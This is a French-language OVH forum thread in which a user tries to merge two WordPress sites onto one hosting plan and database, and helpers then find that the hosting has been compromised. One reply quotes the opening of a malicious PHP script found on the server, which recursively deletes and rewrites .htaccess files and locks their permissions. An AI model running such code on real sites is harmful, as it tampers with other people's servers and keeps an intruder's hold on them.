Rassembler deux sites existants sur une seule base de données
BMPCreated with Sketch.BMPZIPCreated with Sketch.ZIPXLSCreated with Sketch.XLSTXTCreated with Sketch.TXTPPTCreated with Sketch.PPTPNGCreated with Sketch.PNGPDFCreated with Sketch.PDFJPGCreated with Sketch.JPGGIFCreated with Sketch.GIFDOCCreated with Sketch.DOC Error Created with Sketch.
Question

Rassembler deux sites existants sur une seule base de données

by
ClementineS1
Created on 2024-08-13 12:55:46 (edited on 2024-09-04 11:59:07) in Hébergements Web

Bonjour,

J'ai deux sites internet avec :
- Deux noms de domaine enregistrés chez OVH :
site 1 : https://clementineseite.fr/ sur Wordpress
site 2 : http://www.intartifletteitrust.com/ sur Wordpress
- deux hébergements/serveurs chacun chez OVHcloud avec une offre perso

Je souhaiterais que les deux sites internet soient hébergés sur le même hébergement (celui de clementineseite.fr/), sur la même base de données.

Voici les démarches que j'ai faites jusqu'à présent :
- j'ai suivi le tuto https://wordetweb.com/word-et-web/WORDPRESS-ajouter-deuxieme-domaine-2eme-installation-de-Wordpress-FR.htm
--> j'ai modifié le contenu du fichier /www/wp-config.php pour le site intartifletteitrust.com en modifiant le nom de la base de données (celle associée au site clementineseite.fr/) + modifié le préfixe des tables
--> j'ai créé un deuxième dossier racine via le FTP du serveur associé à clementineseite.fr/. J'y ai copié le contenu d'Intartifletteitrust avec le fichier wp-config précédemment modifié
--> dans l'onglet multisite de clementineseite.fr, j'ai ajouté le nom de domaine intartifletteitrust.com et l'ai associé au deuxième dossier racine créé

En appelant OVH, ils m'ont indiqué un tuto pour "Dupliquer le contenu d'une base de données dans une autre" https://help.ovhcloud.com/csm/fr-web-hosting-copy-transfer-databaseid=kb_article_view&sysparm_article=KB0060504
A cette étape, le message d'avertissement indique "Si votre base de destination n'est pas vide les données seront écrasées." Or ma base de données n'est pas vide, je crains d'écraser du contenu existant.

Lors de l'accès à intartifletteitrust.com, le message d'erreur "Erreur lors de la connexion à la base de données" s'affiche.

Pourriez-vous m'aider s'il vous plait ?
Merci et bonne fin de journée,
Clémentine


12 Replies ( Latest reply on 2024-08-21 08:50:04 by
janus57
)


--> j'ai modifié le contenu du fichier /www/wp-config.php pour le site intartifletteitrust.com en modifiant le nom de la base de données (celle associée au site clementineseite.fr/) + modifié le préfixe des tables


Pour faire ceci vous devez également exporter toutes les tables, modifier les noms des tables dans le fichier export et réimporter.
Danger ! si on ne sait pas ce qu'on fait !

Autre possibilité: "acheter" une base de données supplémentaire...

Merci pour votre retour.

J'ai commandé une nouvelle base et réinstallé une sauvegarde du site internet intartifletteitrust.com.
Sur mon espace client OVH, la nouvelle base de données reste vide.
Comment pourrais-je vérifier que j'ai bien lié le site à la bonne base de données ?

Quand j'accède aux données via le ftp :
- un 3e dossier racine a été créé avec le nom de mon identifiant OVH
- un sous-dossier avec un intitulé composé de plusieurs lettres a été ajouté dans le dosser racine www et le 3e dossier racine nouvellement apparu.
Savez-vous à quoi ça correspond ?

Merci beaucoup pour votre aide.


la nouvelle base de données reste vide.


Bonjour,

J'ignore si vous avez importé quelque chose dans cette nouvelle base.

Comment pourrais-je vérifier que j'ai bien lié le site à la bonne base de données ?


C'est écrit dans votre wp-config.php (de chacune des installations)

J'espère que vous comprenez ce que vous faites.

- un 3e dossier racine a été créé avec le nom de mon identifiant OVH


Quand vous ajoutez un multisite, et que vous indiquez un dossier racine qui n'existe pas encore dans votre FTP, OVH crée un nouveau dossier vide.

Encore une fois, j'espère que vous comprenez ce que vous faites.

un sous-dossier avec un intitulé composé de plusieurs lettres


Pareil. J'espère que vous comprenez ce que vous faites.

Comme vous masquez les infos, impossible de creuser à votre place.

Pouvez-vous montrer une copie d'écran de votre configuration "multisite" ?

Bonjour,

La base de données affichée sur l'espace client OVH s'affichait vide mais après un rafraîchissement manuel de la part de l'équipe support, sa taille s'est affichée.
Dans le fichier wp-config, la nouvelle base de données était bien affichée.
Les deux sites fonctionnent correctement.
J'ai toujours les deux sous dossiers aux intitulés composés de plusieurs caractères (cf. captures).

Merci et bonne journée


J'ai toujours les deux sous dossiers aux intitulés composés de plusieurs caractères (cf. captures).


Je me suis fendu d'aller chercher les 3 fichiers txt en retapant avec précaution le nom du sous-répertoire.
Votre site est infecté par un piratage.

Le fichier h.txt est détecté par Windows Defender, vous auriez pu vous en rendre compte si vous l'aviez simplement copié sur votre PC avec Filezilla.


Je poste des images inoffensives

début de h.txt:


début de a.txt:


début de r.txt:
$maxDepth = 10; // Maximum depth to search for subfolders
$baseDir = '/path/to/your/directory'; // Base directory to start the operation

// Change permissions of .htaccess and iputs.php files
changePermissions($baseDir, $maxDepth, 'iputs.php', 0644);
changePermissions($baseDir, $maxDepth, '.htaccess', 0644);

// Delete .htaccess and iputs.php files
deleteFiles($baseDir, $maxDepth, 'inputs.php');
deleteFiles($baseDir, $maxDepth, '.htaccess');

// Create .htaccess file with the specified content
$htaccessContent = '#do';
createFiles($baseDir, $maxDepth, '.htaccess', $htaccessContent);

// Change permissions of .htaccess files to 0444
changePermissions($baseDir, $maxDepth, '.htaccess', 0444);

echo "OK";

// Function to change permissions of files
function changePermissions($dir, $maxDepth, $filename, $permissions) {

Si vous partagez votre hébergement pour plusieurs sites, ces derniers sont tous infectés.

Merci pour votre retour.
Pouvez-vous m'aider à corriger le problème ?


Pouvez-vous m'aider à corriger le problème ?


Déverminer un site requiert de la compétence et ce n'est jamais garanti à 100%

Il n'y a pas une recette magique à base de clic-clic-clic qui fonctionne pour les divers types d'infections et de piratages !!

La solution radicale : tout effacer et recommencer son site à zéro.

Sinon, plus soft, vous pouvez tenter cette recette:
https://developer.wordpress.org/advanced-administration/upgrade/upgrading/

Le but est ne conserver aucun fichier PHP de votre installation originale, ils sont potentiellement tous infectés.

Il faut aussi parcourir la base de données de chaque site Wordpress à la recherche d'utilisateurs qui n'ont pas été créés par vous. Ceci se trouve dans la table xxx_users de chaque site.

OK merci beaucoup.
Les sauvegardes automatiques UpdraftPlus se sont arrêtées il y a quelques mois... je n'ai pas donc pas de sauvegarde fraîche du site.
Je pense repartir de zéro avec une version du site moins dense dès que j'aurais le temps (je suis en congé mat, ce n'est pas l'idéal en termes de timing).
C'est possible qu'il continue de s'afficher pour les internautes quelques temps encore ou dois-je m'attendre que d'un jour à l'autre il soit inaccessible ?


C'est possible qu'il continue de s'afficher pour les internautes quelques temps encore


Disons que sur un site piraté vous n'avez plus exclusivement le contrôle, et si le pirate décide que votre site s'arrête maintenant, il va s'arrêter maintenant. S'il décide de rediriger vers du gros porno ou disney.com, hé bien ça va se passer comme ça.

Bonjour,


S'il décide de rediriger vers du gros porno ou disney.com, hé bien ça va se passer comme ça.

Ou si le pirate décide d'y mettre des pages de phishing vous pouvez être théoriquement reconnu responsable car vous avez connaissance que le site à été compromis.

Cordialement, janus57